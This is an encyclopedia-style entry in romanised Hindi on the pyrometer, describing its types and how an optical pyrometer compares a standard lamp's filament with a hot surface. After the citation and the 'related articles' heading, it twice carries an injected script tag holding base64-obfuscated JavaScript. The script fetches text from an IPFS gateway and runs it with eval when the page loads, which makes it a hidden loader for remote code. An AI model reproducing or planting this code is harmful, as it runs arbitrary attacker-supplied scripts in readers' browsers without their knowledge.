पायरोमीटर
thumb|payaromitar payaromitar (aangrezi:Pyrometer) uttapamapi ek vaijnanik upakaran hai. door sthit vastuoan ke tap ko jnat karane hetu is yantr ka prayog kiya jata hai. ye kee prakar ke hote haian:-
- prakashik uttapamapi,
- vikiran uttapamapi,
- pratirodh uttapamapi,
- tap-vidyuth-uttapamapi aur avarakt uttapamapi.
yahaan prakashik uttapamapi ka varnan diya ja raha hai. prakashik uttapamapi mean kisi manak laianp ki tivrata ko kam karake uttapt prishth ke prakash ki tivrata ke barabar kar li jati hai. tivrata ka samanjan karane ke lie laianp ke paripath mean pratirodh ko badhaya jata hai ya koee avashoshak padarth laianp ke samane rakhakar usaki motaee ka samanjan kiya jata hai. aankh ke samane koee rangin philtar bhi rakh diya jata hai taki kisi vishesh rang ke prakash ka hi upayog kiya ja sake.
tivrataoan ki tulana kisi prakashamapi vidhi se ki ja sakati hai. pray: ek uttal leans dvara uttapt prishth ka vastavik pratibianb prapt kiya jata aur thik vahian laianp ka philameant rakha jata hai. jab philameant adrisht ho jae tab donoan ki tivrataean barabar hoangi.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 81 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>